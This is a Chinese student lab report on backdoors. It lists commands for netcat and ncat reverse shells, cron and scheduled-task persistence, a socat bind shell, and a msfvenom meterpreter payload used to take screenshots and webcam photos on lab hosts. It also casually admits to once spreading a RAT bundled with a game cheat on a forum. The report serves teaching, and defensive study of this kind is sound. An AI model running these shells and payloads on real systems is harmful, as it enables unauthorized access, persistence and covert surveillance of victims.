Exp2 后门原理与实践 20154302薛师凡
一、实践目标与内容
1.学习内容
使用nc实现win,mac,Linux间的后门连接
meterpreter的应用
MSF POST 模块的应用
2.学习目标
学习建立一个后门连接,并了解其中的知识点,同时熟悉后门连接的功能。通过亲手实践并了解这一事实,提高自己的安全意识 。
3.概念
后门就是不经过正常认证流程而访问系统的通道。
netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
socat是ncat的增强版,它使用的格式是socat [options]
其中两个address是必选项,而options 是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
二、实践步骤:常用的后门工具的应用
1.Windows获得Linux Shell
1.1用ipconfig和ifconfig命令分别查看win7和linux的ip地址,记录下来,方便以后使用。
1.2windows打开监听
ncat.exe -l -p 4302
1.3Linux反弹连接windows
nc 192.168.1.229 4302 -e /bin/sh
1.4windows下获得linux shell,运行指令
2.Linux获得Windows Shell
2.1Linux打开监听
nc -l -p 4302
2.2Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.1. 229 4302
(不知道为什么,用我自己的学号计算机积极抵抗,死活连不上,可用了别人学会就行)
2.3Linux下看到Windows的命令提示
3.使用nc传输数据
3.1Windows下监听4302端口
ncat.exe -l -p 4302
3.2Linux下连接到Windows的4302端口
nc 192.168.1.229 4302
3.3建立连接成功之后,进行字符串的传输
4.使用netcat获取主机操作Shell,cron启动
4.1先在Windows系统下,监听4302端口
ncat.exe -l -p 4302
4.2在Linux环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
4.3用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器
4.4在最后一行添加44 * * * * /bin/netcat 192.168.1.229 4312 -e /bin/sh,意思是在每个小时的第44分钟反向连接Windows主机的4324端口,因为当时的时间是23:35,所以设置成37,这样,过两分钟就能看到效果了
4.5在22:37的时候,获得了Linux的shell
5.使用socat获取主机操作Shell, 任务计划启动
5.1在Windows系统下,打开控制面板,搜索计划任务,进去后就可以开始创建任务,填写任务名称后,新建一个触发器。
5.2在操作->程序或脚本中选择socat.exe文件的路径,并在添加参数一栏填写tcp-listen:4302 exec:cmd.exe,pty,stderr,这个命令是为了把cmd.exe绑定到端口4302,同时把cmd.exe的stderr重定向到stdout上
(注意:参数之间用空格或者 :隔开!)
5.3创建之后,右键任务直接运行)
5.4 在Linux环境下输入指令,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的4302端口,此时可以发现已经成功获得了一个cmd shell
socat - tcp:192.168.1.229:4302
6.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
6.1在Linux环境下生成后门程序20154302_backdoor.exe
msfvenom -p
windows/meterpreter/reverse_tcp LHOST=192.168.211.130 LPORT=4302 -f exe > 20154302_backdoor.exe
6.2通过nc指令将生成的后门程序传送到Windows主机上,Linux的nc指令在上图
nc 192.168.1.229 4302 < 20154302_backdoor.exe
ncat.exe -l 4302> 20154302_backdoor.exe
6.3在Linux上使用msfconsole指令进入msf控制台,使用监听模块,并设置payload以及反弹回连的IP和端口:
6.4在设置完成后,在Linux环境执行监听。在Windows环境打开后门程序20154302_backdoor.exe,此时可以看到在Linux环境下已经获得了Windows主机的连接,并且得到了远程控制的shell,使用ls指令查看windows的目录信息。
7.使用MSF meterpreter生成获取目标主机摄像头、截屏等内容,并尝试提权
7.1在前一次实践中已经获取主机Shell的前提下,进行截屏
7.2获取摄像头权限进行照相并保存
三、问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
通过这次实践,我意识到有许多方式可以设置后门进入我的系统,我觉得最有可能存在后门的就是非官方下载的软件,这里面很有可能存在后门,使得其他人可以进入我的系统,还有就是可以在许多可执行文件中设置后门。以前还尝试过,将生成好的灰鸽子文件和cf游戏外挂捆绑在一起,然后上传到游戏论坛上,等待肉鸡上线。
2.例举你知道的后门如何启动起来(win及linux)的方式?
我认为当设置后门的可执行软件执行到启动后门的特定步骤时,后门就会启动。或者伪装成一种服务,当用户启用服务时,就会启动后门。在Linux下,通过cron设置定时任务,到了特定时间就会有获得一个shell。而在windows下,通过设置任务计划,设置相应条件,满足条件就会实现启动后门。
3.Meterpreter有哪些给你映像深刻的功能?
它的msfvenom指令可以编写可执行的后门程序,甚至可以设置反弹回连的IP、回连的端口和文件的类型和使用,最让我震惊的就是还能进行录音、摄像,以后我一定要把摄像头盖住了。
4.如何发现自己有系统有没有被安装后门?
我想到的第一个办法就是用杀毒软件,但通过这次实践,我认为我们还可以通过扫描端口,查看端口是否存在绑定后门程序等问题。还有查看当前电脑的开机项,检测是否有未知项,查看电脑是否存在异常。
四、心得体会
在这次实践中,我们学习了后门的基本原理及它的运行过程,让我从实践的角度切实了解到计算机后门的存在和一些初级的后门设置方法。但本次实验过程中还是很不顺利,经常出现差错,可能是网络设置的问题,也可能是我对实验理解不够透彻,最后用的同学的电脑完成了实验,希望在下次实验时能够进一步学习后门的有关知识。